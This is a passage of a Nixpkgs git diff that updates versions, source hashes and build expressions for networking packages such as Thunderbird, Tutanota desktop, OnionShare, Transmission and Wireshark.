"http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/sq/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/sq/thunderbird-115.7.0.tar.bz2"; locale = "sq"; arch = "linux-i686"; - sha256 = "5d886885ba9265cc67b8ce99a5adf847936882ead50b3720c441b20b0175b3e2"; + sha256 = "3ba43c6e088e6fdca88ee78ca02cafd4b748a68c20ac0ed8cad8e8ba9b636220"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/sr/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/sr/thunderbird-115.7.0.tar.bz2"; locale = "sr"; arch = "linux-i686"; - sha256 = "c1eb74299fb983fef8267d60fffa62901c47de795ee6bb9baadfdbd56331da61"; + sha256 = "b808b77217c2ff2b9f6e1deb9ba6255356d57885ab1eff1c315f2391b5b8ddb5"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/sv-SE/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/sv-SE/thunderbird-115.7.0.tar.bz2"; locale = "sv-SE"; arch = "linux-i686"; - sha256 = "a4d9cb7e3c9a2b4bd82044cf1d78d9500c5f861acebf6392a5ff7e68e35fb0e2"; + sha256 = "7d6eb148002d3514c38d8f42d43263a631b1c5e47e4134e643dac542f283a6f5"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/th/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/th/thunderbird-115.7.0.tar.bz2"; locale = "th"; arch = "linux-i686"; - sha256 = "1f7eec0902cc77f3d945b6e654256a605a5fe98938e6219a52eb4af12e01f055"; + sha256 = "14b851b5383cf3d55de003ed10d17ef36c3b30559ba88cc9132e525578e4af66"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/tr/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/tr/thunderbird-115.7.0.tar.bz2"; locale = "tr"; arch = "linux-i686"; - sha256 = "1f67cbac18b7815664e1c9192ded480f9aee3a62ed3ec0491bd0abf724e54430"; + sha256 = "73193cffd5587d744715d649fb6cd5ed5d030b0ba86084d21f82bb9f591d5e35"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/uk/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/uk/thunderbird-115.7.0.tar.bz2"; locale = "uk"; arch = "linux-i686"; - sha256 = "9d92994ed190b15c31e81eb1768b86805e7fd2507b3a6f3a2923fd7a965592d5"; + sha256 = "e52afbc0d3883e2984e5e37e911dec0e04fa583db3b0981833c3f29a2764fbba"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/uz/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/uz/thunderbird-115.7.0.tar.bz2"; locale = "uz"; arch = "linux-i686"; - sha256 = "5f47edfa7c15c7b8c35b594f3c05ba69df037b4d22f0e6575ceb1683b1616cac"; + sha256 = "160db3d3c7ea9c10337397a81fd9360c160aa0c5195d1be70d3ef3f714e85745"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/vi/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/vi/thunderbird-115.7.0.tar.bz2"; locale = "vi"; arch = "linux-i686"; - sha256 = "492d522445a75a96c6a30bd247bc23ec3d7caf9f3f79a0217a762d2066007c00"; + sha256 = "3ea81e0cb98da53b7b640d52454cf2cdebe2cffadbcad2b683a8e8da13659abf"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/zh-CN/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/zh-CN/thunderbird-115.7.0.tar.bz2"; locale = "zh-CN"; arch = "linux-i686"; - sha256 = "34ae2af74f6d6fe6ace208a5a69ddb13c26de3b99295d34c61de071f2eba112f"; + sha256 = "f54999ae86a4eea357e246abe4bfa6baa52f418c1d3ec882c48bcb7dfc4c8e11"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-i686/zh-TW/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-i686/zh-TW/thunderbird-115.7.0.tar.bz2"; locale = "zh-TW"; arch = "linux-i686"; - sha256 = "dfc2c8affdb13b18ca77d04d6aa44d14bdbe9dc359babb09afbe652727419393"; + sha256 = "8057a54b11112fc67661ffd3fb7f8ac4d532fee4c4c4029f10a21b7f5a9cf10e"; } ]; } diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix index 4f74168837fdc..46d23c54b9325 100644 --- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix +++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix @@ -44,13 +44,13 @@ rec { thunderbird-115 = (buildMozillaMach rec { pname = "thunderbird"; - version = "115.7.0"; + version = "115.8.0"; application = "comm/mail"; applicationName = "Mozilla Thunderbird"; binaryName = pname; src = fetchurl { url = "mirror://mozilla/thunderbird/releases/${version}/source/thunderbird-${version}.source.tar.xz"; - sha512 = "de9edb81cf5da494101bf927a5b963ccdec0cc9bff87ebd72d896c6e25102c1113b326f67302a81abd237048aa1e6150c4a97fe4b1892bc80030cbab9099e2d8"; + sha512 = "a0bdd34bebda4973f714422293f10a5a96c2b12f097c68d76fa37c48943fdbfb32dd2e504faa0b88fd699118b1903e18c3bb54cb32cd5e2ff60c09966b23e79c"; }; extraPatches = [ # The file to be patched is different from firefox's `no-buildconfig-ffx90.patch`. diff --git a/pkgs/applications/networking/mailreaders/tutanota-desktop/default.nix b/pkgs/applications/networking/mailreaders/tutanota-desktop/default.nix index 7f83f9dc7d9d2..141a6f4835181 100644 --- a/pkgs/applications/networking/mailreaders/tutanota-desktop/default.nix +++ b/pkgs/applications/networking/mailreaders/tutanota-desktop/default.nix @@ -1,61 +1,37 @@ -{ stdenv, lib, fetchurl, makeDesktopItem, copyDesktopItems, makeWrapper, -electron, libsecret }: +{ lib +, appimageTools +, fetchurl +}: -stdenv.mkDerivation rec { +appimageTools.wrapType2 rec { pname = "tutanota-desktop"; - version = "3.119.3"; + version = "218.240227.0"; src = fetchurl { - url = "https://github.com/tutao/tutanota/releases/download/tutanota-desktop-release-${version}/${pname}-${version}-unpacked-linux.tar.gz"; - name = "tutanota-desktop-${version}.tar.gz"; - hash = "sha256-TdjvU12nh1sTfGTdBn+7dbEunaF38YjDvceEns4iRbA="; + url = "https://github.com/tutao/tutanota/releases/download/tutanota-desktop-release-${version}/tutanota-desktop-linux.AppImage"; + hash = "sha256-Ks046Z2jycOb63q3g16nJrHpaH0FJH+c+ZGTldfHllI="; }; - nativeBuildInputs = [ - copyDesktopItems - makeWrapper - ]; + extraPkgs = pkgs: (appimageTools.defaultFhsEnvArgs.multiPkgs pkgs) ++ [ pkgs.libsecret ]; - dontConfigure = true; - dontBuild = true; + extraInstallCommands = + let appimageContents = appimageTools.extract { inherit pname version src; }; + in '' + mv $out/bin/${pname}-${version} $out/bin/${pname} - desktopItems = makeDesktopItem { - name = pname; - exec = "tutanota-desktop"; - icon = "tutanota-desktop"; - comment = meta.description; - desktopName = "Tutanota Desktop"; - genericName = "Email Reader"; - }; - - installPhase = '' - runHook preInstall - - mkdir -p $out/bin $out/opt/tutanota-desktop $out/share/tutanota-desktop - - cp -r ./ $out/opt/tutanota-desktop - mv $out/opt/tutanota-desktop/{locales,resources} $out/share/tutanota-desktop - - for icon_size in 64 512; do - icon=resources/icons/icon/$icon_size.png - path=$out/share/icons/hicolor/$icon_size'x'$icon_size/apps/tutanota-desktop.png - install -Dm644 $icon $path - done - - makeWrapper ${electron}/bin/electron \ - $out/bin/tutanota-desktop \ - --add-flags $out/share/tutanota-desktop/resources/app.asar \ - --run "mkdir -p /tmp/tutanota" \ - --prefix LD_LIBRARY_PATH : ${lib.makeLibraryPath [ libsecret stdenv.cc.cc.lib ]} + install -Dm 444 ${appimageContents}/tutanota-desktop.desktop -t $out/share/applications + install -Dm 444 ${appimageContents}/tutanota-desktop.png -t $out/share/pixmaps - runHook postInstall - ''; + substituteInPlace $out/share/applications/tutanota-desktop.desktop \ + --replace 'Exec=AppRun' 'Exec=${pname}' + ''; meta = with lib; { - description = "Tutanota official desktop client"; - homepage = "https://tutanota.com/"; + description = "Tuta official desktop client"; + homepage = "https://tuta.com/"; changelog = "https://github.com/tutao/tutanota/releases/tag/tutanota-desktop-release-${version}"; license = licenses.gpl3Only; + sourceProvenance = with sourceTypes; [ binaryNativeCode ]; maintainers = with maintainers; [ wolfangaukang ]; mainProgram = "tutanota-desktop"; platforms = [ "x86_64-linux" ]; diff --git a/pkgs/applications/networking/nextcloud-client/default.nix b/pkgs/applications/networking/nextcloud-client/default.nix index 58cb1c6a71b6b..a6f0cf62b5037 100644 --- a/pkgs/applications/networking/nextcloud-client/default.nix +++ b/pkgs/applications/networking/nextcloud-client/default.nix @@ -26,7 +26,7 @@ stdenv.mkDerivation rec { pname = "nextcloud-client"; - version = "3.11.1"; + version = "3.12.1"; outputs = [ "out" "dev" ]; @@ -34,7 +34,7 @@ stdenv.mkDerivation rec { owner = "nextcloud"; repo = "desktop"; rev = "v${version}"; - hash = "sha256-gskFI6nxRb5lx6EwWuqghqg7NmCaj0JS7PpV0i4qUqQ="; + hash = "sha256-WGmabfOuEs9WRq1Ta7ZiZQuscoEdxhaFhuppE7MpZfk="; }; patches = [ diff --git a/pkgs/applications/networking/nextdns/default.nix b/pkgs/applications/networking/nextdns/default.nix index 094fa8007d7b8..678e9f68ee214 100644 --- a/pkgs/applications/networking/nextdns/default.nix +++ b/pkgs/applications/networking/nextdns/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "nextdns"; - version = "1.41.0"; + version = "1.42.0"; src = fetchFromGitHub { owner = "nextdns"; repo = "nextdns"; rev = "v${version}"; - sha256 = "sha256-uLX5M9DW8wfVKSV+/pwy+ZK6M6OQSq7qYjRcBvOOqOQ="; + sha256 = "sha256-aQUz6FK04h3nzieK9fX7odVVt/zcdhXlX3T1Z1rN/ak="; }; - vendorHash = "sha256-vYE/GdN2ooSW4LMg1D5t5zOgATruB4Q449JdNo87fkM="; + vendorHash = "sha256-DATSGSFRMrX972CWCiSIlOhDuAG3zcVyuILZ3IpVirM="; ldflags = [ "-s" "-w" "-X main.version=${version}" ]; diff --git a/pkgs/applications/networking/onionshare/default.nix b/pkgs/applications/networking/onionshare/default.nix index 6cb15ad685d95..9b184a8fa13d9 100644 --- a/pkgs/applications/networking/onionshare/default.nix +++ b/pkgs/applications/networking/onionshare/default.nix @@ -1,39 +1,40 @@ { lib , stdenv , buildPythonApplication -, substituteAll -, fetchFromGitHub -, isPy3k +, cepa , colorama +, fetchFromGitHub , flask +, flask-compress , flask-httpauth , flask-socketio , gevent-socketio , gevent-websocket -, cepa +, obfs4 , psutil -, pyqt5 , pycrypto , pynacl -, pyside2 +, pyqt5 +, pyside6 , pysocks , pytestCheckHook , qrcode , qt5 , requests -, unidecode -, tor -, obfs4 , snowflake +, substituteAll +, tor +, unidecode +, waitress }: let - version = "2.6"; + version = "2.6.1"; src = fetchFromGitHub { owner = "onionshare"; repo = "onionshare"; rev = "v${version}"; - sha256 = "sha256-LA7XlzoCXUiG/9subTddAd22336wO9sOHCIBlQK4Ga4="; + sha256 = "sha256-LR3Ao4Q8kEDwrFV+gYdMSEeYF4hDtEa1rJgvRRrJMwc="; }; meta = with lib; { description = "Securely and anonymously send and receive files"; @@ -57,8 +58,7 @@ let homepage = "https://onionshare.org/"; license = licenses.gpl3Plus; - maintainers = with maintainers; [ lourkeur ]; - mainProgram = "onionshare-cli"; + maintainers = with maintainers; [ bbjubjub ]; }; # TODO: package meek https://support.torproject.org/glossary/meek/ @@ -68,7 +68,7 @@ in rec { onionshare = buildPythonApplication { pname = "onionshare-cli"; - inherit version meta; + inherit version; src = "${src}/cli"; patches = [ # hardcode store paths of dependencies @@ -79,23 +79,27 @@ rec { }) ]; propagatedBuildInputs = [ + cepa colorama flask + flask-compress flask-httpauth flask-socketio gevent-socketio gevent-websocket - cepa psutil pycrypto pynacl + pyside6 + qrcode requests unidecode + waitress ]; buildInputs = [ - tor obfs4 + tor ]; nativeCheckInputs = [ @@ -107,19 +111,25 @@ rec { export HOME="$(mktemp -d)" ''; - disabledTests = [ + disabledTests = lib.optionals stdenv.isLinux [ "test_get_tor_paths_linux" # expects /usr instead of /nix/store ] ++ lib.optionals stdenv.isDarwin [ + # requires meek-client which is not packaged + "test_get_tor_paths_darwin" # on darwin (and only on darwin) onionshare attempts to discover # user's *real* homedir via /etc/passwd, making it more painful # to fake "test_receive_mode_webhook" ]; + + meta = meta // { + mainProgram = "onionshare-cli"; + }; }; onionshare-gui = buildPythonApplication { pname = "onionshare"; - inherit version meta; + inherit version; src = "${src}/desktop"; patches = [ # hardcode store paths of dependencies @@ -128,16 +138,15 @@ rec { inherit tor meek obfs4 snowflake; inherit (tor) geoip; }) - ./fix-qrcode-gui.patch ]; propagatedBuildInputs = [ onionshare - pyqt5 - pyside2 psutil - qrcode + pyqt5 + pyside6 pysocks + qrcode ]; nativeBuildInputs = [ qt5.wrapQtAppsHook ]; @@ -149,12 +158,18 @@ rec { cp $src/org.onionshare.OnionShare.appdata.xml $out/share/appdata ''; + dontWrapQtApps = true; + preFixup = '' - wrapQtApp $out/bin/onionshare + makeWrapperArgs+=("''${qtWrapperArgs[@]}") ''; doCheck = false; pythonImportsCheck = [ "onionshare" ]; + + meta = meta // { + mainProgram = "onionshare"; + }; }; } diff --git a/pkgs/applications/networking/onionshare/fix-qrcode-gui.patch b/pkgs/applications/networking/onionshare/fix-qrcode-gui.patch deleted file mode 100644 index 97ee3817ab681..0000000000000 --- a/pkgs/applications/networking/onionshare/fix-qrcode-gui.patch +++ /dev/null @@ -1,14 +0,0 @@ -diff --git desktop/onionshare/widgets.py desktop/onionshare/widgets.py -index 64a07703..bca974fb 100644 ---- desktop/onionshare/widgets.py -+++ desktop/onionshare/widgets.py -@@ -101,7 +101,7 @@ class Image(qrcode.image.base.BaseImage): - A custom Image class, for use with the QR Code pixmap. - """ - -- def __init__(self, border, width, box_size): -+ def __init__(self, border, width, box_size, *args, **kargs): - self.border = border - self.width = width - self.box_size = box_size - diff --git a/pkgs/applications/networking/p2p/flood-for-transmission/default.nix b/pkgs/applications/networking/p2p/flood-for-transmission/default.nix index 2ffbeba1f40a3..2b1e554c8ed37 100644 --- a/pkgs/applications/networking/p2p/flood-for-transmission/default.nix +++ b/pkgs/applications/networking/p2p/flood-for-transmission/default.nix @@ -6,13 +6,13 @@ buildNpmPackage rec { pname = "flood-for-transmission"; - version = "2024-01-24T16-52-06"; + version = "2024-02-10T19-10-27"; src = fetchFromGitHub { owner = "johman10"; repo = pname; rev = version; - hash = "sha256-ZV/Gk9DlYkMh8j034YGvMVN7MeOJgFARyOr9Atrs3j4="; + hash = "sha256-JhUBtjHWtfFwjOScDu+WtjE42yhWYPA6KD+kJsltbsY="; }; npmDepsHash = "sha256-VHWM0vxFKucrmoJiwYpjw7QqhBQw9rPPQVIIevp6Wn0="; diff --git a/pkgs/applications/networking/p2p/fragments/default.nix b/pkgs/applications/networking/p2p/fragments/default.nix index 5034f401a98d7..edb31ba669577 100644 --- a/pkgs/applications/networking/p2p/fragments/default.nix +++ b/pkgs/applications/networking/p2p/fragments/default.nix @@ -83,5 +83,6 @@ in stdenv.mkDerivation rec { maintainers = with maintainers; [ emilytrau ]; license = licenses.gpl3Plus; platforms = platforms.linux; + mainProgram = "fragments"; }; } diff --git a/pkgs/applications/networking/p2p/pyrosimple/default.nix b/pkgs/applications/networking/p2p/pyrosimple/default.nix index 2f75ce1b29a14..866727ba4349e 100644 --- a/pkgs/applications/networking/p2p/pyrosimple/default.nix +++ b/pkgs/applications/networking/p2p/pyrosimple/default.nix @@ -10,14 +10,14 @@ python3.pkgs.buildPythonApplication rec { pname = "pyrosimple"; - version = "2.12.1"; + version = "2.13.0"; format = "pyproject"; src = fetchFromGitHub { owner = "kannibalox"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-ppSQknpRoxq35t7lPbqz7MPJzy98yq/GgSchPOx4VT4="; + hash = "sha256-e69e1Aa10/pew1UZBCIPIH3BK7I8C3HiW59fRuSZlkc="; }; pythonRelaxDeps = [ diff --git a/pkgs/applications/networking/p2p/transgui/default.nix b/pkgs/applications/networking/p2p/transgui/default.nix index 4f3f711d1f2c7..707ff45b34981 100644 --- a/pkgs/applications/networking/p2p/transgui/default.nix +++ b/pkgs/applications/networking/p2p/transgui/default.nix @@ -4,13 +4,13 @@ stdenv.mkDerivation rec { pname = "transgui"; - version = "unstable-2023-10-19"; + version = "unstable-2024-02-26"; src = fetchFromGitHub { owner = "transmission-remote-gui"; repo = "transgui"; - rev = "b1f5c2334edb6659c04863ef4a534ba1e57284f0"; - hash = "sha256-XCokcA5lINC9B+qwg0vjkymwa16ZNHRKLI829+X7CvE="; + rev = "25df397d92fbd53b970ef72a6ffd9f644458f935"; + hash = "sha256-jQIe2vTDeJM/lhl6alNhEPOqXjyd18x+Kg29+le/dks="; }; nativeBuildInputs = [ pkg-config unzip ]; diff --git a/pkgs/applications/networking/p2p/transmission/4.nix b/pkgs/applications/networking/p2p/transmission/4.nix index 9e0a1d69ef215..75515ef414b0e 100644 --- a/pkgs/applications/networking/p2p/transmission/4.nix +++ b/pkgs/applications/networking/p2p/transmission/4.nix @@ -27,8 +27,10 @@ , gtkmm3 , xorg , wrapGAppsHook -, enableQt ? false +, enableQt5 ? false +, enableQt6 ? false , qt5 +, qt6Packages , nixosTests , enableSystemd ? lib.meta.availableOn stdenv.hostPlatform systemd , enableDaemon ? true @@ -37,6 +39,24 @@ , apparmorRulesFromClosure }: +let + inherit (lib) cmakeBool optionals; + + apparmorRules = apparmorRulesFromClosure { name = "transmission-daemon"; } ([ + curl + libdeflate + libevent + libnatpmp + libpsl + miniupnpc + openssl + pcre + zlib + ] + ++ optionals enableSystemd [ systemd ] + ++ optionals stdenv.isLinux [ inotify-tools ]); + +in stdenv.mkDerivation (finalAttrs: { pname = "transmission"; version = "4.0.5"; @@ -51,21 +71,17 @@ stdenv.mkDerivation (finalAttrs: { outputs = [ "out" "apparmor" ]; - cmakeFlags = - let - mkFlag = opt: if opt then "ON" else "OFF"; - in - [ - "-DENABLE_MAC=OFF" # requires xcodebuild - "-DENABLE_GTK=${mkFlag enableGTK3}" - "-DENABLE_QT=${mkFlag enableQt}" - "-DENABLE_DAEMON=${mkFlag enableDaemon}" - "-DENABLE_CLI=${mkFlag enableCli}" - "-DINSTALL_LIB=${mkFlag installLib}" - ] ++ lib.optionals stdenv.isDarwin [ - # Transmission sets this to 10.13 if not explicitly specified, see https://github.com/transmission/transmission/blob/0be7091eb12f4eb55f6690f313ef70a66795ee72/CMakeLists.txt#L7-L16. - "-DCMAKE_OSX_DEPLOYMENT_TARGET=${stdenv.hostPlatform.darwinMinVersion}" - ]; + cmakeFlags = [ + (cmakeBool "ENABLE_CLI" enableCli) + (cmakeBool "ENABLE_DAEMON" enableDaemon) + (cmakeBool "ENABLE_GTK" enableGTK3) + (cmakeBool "ENABLE_MAC" false) # requires xcodebuild + (cmakeBool "ENABLE_QT" (enableQt5 || enableQt6)) + (cmakeBool "INSTALL_LIB" installLib) + ] ++ optionals stdenv.isDarwin [ + # Transmission sets this to 10.13 if not explicitly specified, see https://github.com/transmission/transmission/blob/0be7091eb12f4eb55f6690f313ef70a66795ee72/CMakeLists.txt#L7-L16. + "-DCMAKE_OSX_DEPLOYMENT_TARGET=${stdenv.hostPlatform.darwinMinVersion}" + ]; postPatch = '' # Clean third-party libraries to ensure system ones are used. @@ -89,8 +105,9 @@ stdenv.mkDerivation (finalAttrs: { cmake python3 ] - ++ lib.optionals enableGTK3 [ wrapGAppsHook ] - ++ lib.optionals enableQt [ qt5.wrapQtAppsHook ] + ++ optionals enableGTK3 [ wrapGAppsHook ] + ++ optionals enableQt5 [ qt5.wrapQtAppsHook ] + ++ optionals enableQt6 [ qt6Packages.wrapQtAppsHook ] ; buildInputs = [ @@ -109,11 +126,12 @@ stdenv.mkDerivation (finalAttrs: { utf8cpp zlib ] - ++ lib.optionals enableQt [ qt5.qttools qt5.qtbase ] - ++ lib.optionals enableGTK3 [ gtkmm3 xorg.libpthreadstubs ] - ++ lib.optionals enableSystemd [ systemd ] - ++ lib.optionals stdenv.isLinux [ inotify-tools ] - ++ lib.optionals stdenv.isDarwin [ libiconv Foundation ]; + ++ optionals enableQt5 (with qt5; [ qttools qtbase ]) + ++ optionals enableQt6 (with qt6Packages; [ qttools qtbase qtsvg ]) + ++ optionals enableGTK3 [ gtkmm3 xorg.libpthreadstubs ] + ++ optionals enableSystemd [ systemd ] + ++ optionals stdenv.isLinux [ inotify-tools ] + ++ optionals stdenv.isDarwin [ libiconv Foundation ]; postInstall = '' mkdir $apparmor @@ -123,11 +141,7 @@ stdenv.mkDerivation (finalAttrs: { include <abstractions/base> include <abstractions/nameservice> include <abstractions/ssl_certs> - include "${apparmorRulesFromClosure { name = "transmission-daemon"; } ([ - curl libevent openssl pcre zlib libdeflate libpsl libnatpmp miniupnpc - ] ++ lib.optionals enableSystemd [ systemd ] - ++ lib.optionals stdenv.isLinux [ inotify-tools ] - )}" + include "${apparmorRules}" r @{PROC}/sys/kernel/random/uuid, r @{PROC}/sys/vm/overcommit_memory, r @{PROC}/@{pid}/environ, @@ -147,9 +161,9 @@ stdenv.mkDerivation (finalAttrs: { smoke-test = nixosTests.bittorrent; }; - meta = { + meta = with lib; { description = "A fast, easy and free BitTorrent client"; - mainProgram = if enableQt then "transmission-qt" else if enableGTK3 then "transmission-gtk" else "transmission-cli"; + mainProgram = if (enableQt5 || enableQt6) then "transmission-qt" else if enableGTK3 then "transmission-gtk" else "transmission-cli"; longDescription = '' Transmission is a BitTorrent client which features a simple interface on top of a cross-platform back-end. @@ -161,9 +175,9 @@ stdenv.mkDerivation (finalAttrs: { * Bluetack (PeerGuardian) blocklists with automatic updates * Full encryption, DHT, and PEX support ''; - homepage = "http://www.transmissionbt.com/"; - license = with lib.licenses; [ gpl2Plus mit ]; - maintainers = with lib.maintainers; [ astsmtl ]; - platforms = lib.platforms.unix; + homepage = "https://www.transmissionbt.com/"; + license = with licenses; [ gpl2Plus mit ]; + maintainers = with maintainers; [ astsmtl ]; + platforms = platforms.unix; }; }) diff --git a/pkgs/applications/networking/powerdns-admin/default.nix b/pkgs/applications/networking/powerdns-admin/default.nix index 61a728d983b36..12cd9f9d04e7d 100644 --- a/pkgs/applications/networking/powerdns-admin/default.nix +++ b/pkgs/applications/networking/powerdns-admin/default.nix @@ -1,12 +1,12 @@ { lib, stdenv, fetchFromGitHub, fetchYarnDeps, mkYarnPackage, nixosTests, writeText, python3 }: let - version = "0.4.1"; + version = "0.4.2"; src = fetchFromGitHub { owner = "PowerDNS-Admin"; repo = "PowerDNS-Admin"; rev = "v${version}"; - hash = "sha256-AwqEcAPD1SF1Ma3wtH03mXlTywM0Q19hciCmTtlr3gk="; + hash = "sha256-q9mt8wjSNFb452Xsg+qhNOWa03KJkYVGAeCWVSzZCyk="; }; python = python3; @@ -29,7 +29,7 @@ let offlineCache = fetchYarnDeps { yarnLock = "${src}/yarn.lock"; - hash = "sha256-3ebT19LrbYuypdJaoB3tClVVP0Fi8tHx3Xi6ge/DpA4="; + hash = "sha256-rXIts+dgOuZQGyiSke1NIG7b4lFlR/Gfu3J6T3wP3aY="; }; # Copied from package.json, see also diff --git a/pkgs/applications/networking/protonmail-bridge/default.nix b/pkgs/applications/networking/protonmail-bridge/default.nix index 772326c1b710d..1414543d4cc40 100644 --- a/pkgs/applications/networking/protonmail-bridge/default.nix +++ b/pkgs/applications/networking/protonmail-bridge/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "protonmail-bridge"; - version = "3.8.2"; + version = "3.9.1"; src = fetchFromGitHub { owner = "ProtonMail"; repo = "proton-bridge"; rev = "v${version}"; - hash = "sha256-I42f7cV5QsUIPkcc6YDTboS4/LrObHAE3w9S48jsaKM="; + hash = "sha256-osQIx67KWEraVlB+J6HmC44uDTF1HKUytBS6eilp4jI="; }; - vendorHash = "sha256-6xofWf5WFE1wuCwx8iOMcC3gxDzZB3uw3WErLWluBM8="; + vendorHash = "sha256-5XU/qyYdk8nufyQbyjkjUEWzt+RTVYzsdyKU77qrgHc="; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/applications/networking/protonvpn-cli/2.nix b/pkgs/applications/networking/protonvpn-cli/2.nix index c3e9bd2ac2159..c8f21cfc0df96 100644 --- a/pkgs/applications/networking/protonvpn-cli/2.nix +++ b/pkgs/applications/networking/protonvpn-cli/2.nix @@ -13,7 +13,7 @@ buildPythonApplication rec { pname = "protonvpn-cli_2"; - version = "2.2.11"; + version = "2.2.12"; format = "setuptools"; disabled = pythonOlder "3.5"; @@ -23,7 +23,7 @@ buildPythonApplication rec { repo = "linux-cli-community"; # There is a tag and branch with the same name rev = "refs/tags/v${version}"; - sha256 = "sha256-CWQpisJPBXbf+d5tCGuxfSQQZBeF36WFF4b6OSUn3GY="; + sha256 = "sha256-vNbqjdkIRK+MkYRKUUe7W5Ytc1PU1t5ZLr9fPDOZXUs="; }; propagatedBuildInputs = [ diff --git a/pkgs/applications/networking/pyload-ng/default.nix b/pkgs/applications/networking/pyload-ng/default.nix index 1f638d43daef0..09304784d3122 100644 --- a/pkgs/applications/networking/pyload-ng/default.nix +++ b/pkgs/applications/networking/pyload-ng/default.nix @@ -1,13 +1,13 @@ { lib, fetchPypi, nixosTests, python3 }: python3.pkgs.buildPythonApplication rec { - version = "0.5.0b3.dev75"; + version = "0.5.0b3.dev80"; pname = "pyload-ng"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-1lPIKkZESonDaVCnac0iUu/gCqXVDBhNZrk5S0eC6F0="; + hash = "sha256-1vIkEctoj6udowYxFwY42f/zL9Elw2Nl6ZaL2x30k/M="; }; patches = [ @@ -21,8 +21,6 @@ python3.pkgs.buildPythonApplication rec { postPatch = '' # relax version bounds sed -i 's/\([A-z0-9]*\)~=.*$/\1/' setup.cfg - # not sure what Flask-Session2 is but flask-session works just fine - sed -i '/Flask-Session2/d' setup.cfg ''; propagatedBuildInputs = with python3.pkgs; [ diff --git a/pkgs/applications/networking/remote/dayon/default.nix b/pkgs/applications/networking/remote/dayon/default.nix index 9d00894935707..63e6b0fec6bc7 100644 --- a/pkgs/applications/networking/remote/dayon/default.nix +++ b/pkgs/applications/networking/remote/dayon/default.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "dayon"; - version = "13.0.1"; + version = "13.0.2"; src = fetchFromGitHub { owner = "RetGal"; repo = "dayon"; rev = "v${finalAttrs.version}"; - hash = "sha256-nevDC4kfVSgfmJZiCj82mc+/yZcIgub3CP9qi9ISF3o="; + hash = "sha256-sKA50D+VYjfKzdZAppIGfU5uJqrCrZPEsk9EEMBxu3I="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/networking/seafile-client/default.nix b/pkgs/applications/networking/seafile-client/default.nix index 4da47eddd61bb..8dbecdd50aa32 100644 --- a/pkgs/applications/networking/seafile-client/default.nix +++ b/pkgs/applications/networking/seafile-client/default.nix @@ -16,13 +16,13 @@ stdenv.mkDerivation rec { pname = "seafile-client"; - version = "9.0.4"; + version = "9.0.5"; src = fetchFromGitHub { owner = "haiwen"; repo = "seafile-client"; rev = "v${version}"; - sha256 = "sha256-Qt4Y7s2BMwuKXTYjHAzK40HgAsxlk98af3irOXT4/Vs="; + sha256 = "sha256-fAPEtULab3Ug4gRCS+Eigp48JkORi7tvic2vp5jaw44="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/networking/sniffers/wireshark/default.nix b/pkgs/applications/networking/sniffers/wireshark/default.nix index deae24ec6547b..f9ec3d21f6e96 100644 --- a/pkgs/applications/networking/sniffers/wireshark/default.nix +++ b/pkgs/applications/networking/sniffers/wireshark/default.nix @@ -54,7 +54,7 @@ assert withQt -> qt6 != null; stdenv.mkDerivation rec { pname = "wireshark-${if withQt then "qt" else "cli"}"; - version = "4.2.2"; + version = "4.2.3"; outputs = [ "out" "dev" ]; @@ -62,7 +62,7 @@ stdenv.mkDerivation rec { repo = "wireshark"; owner = "wireshark"; rev = "v${version}"; - hash = "sha256-4SxrlNrVg8Yc1THyRPEQDM/yQzDTLM1ppVwCw9vResE="; + hash = "sha256-2kJBVO40F1m43317g337bk84ZSf6WPK04ir0xc5qxTc="; }; patches = [ diff --git a/pkgs/applications/networking/soulseek/nicotine-plus/default.nix b/pkgs/applications/networking/soulseek/nicotine-plus/default.nix index dc9b49c1f8910..40b8252b47c02 100644 --- a/pkgs/applications/networking/soulseek/nicotine-plus/default.nix +++ b/pkgs/applications/networking/soulseek/nicotine-plus/default.nix @@ -11,13 +11,13 @@ python3Packages.buildPythonApplication rec { pname = "nicotine-plus"; - version = "3.2.9"; + version = "3.3.2"; src = fetchFromGitHub { owner = "nicotine-plus"; repo = "nicotine-plus"; rev = "refs/tags/${version}"; - sha256 = 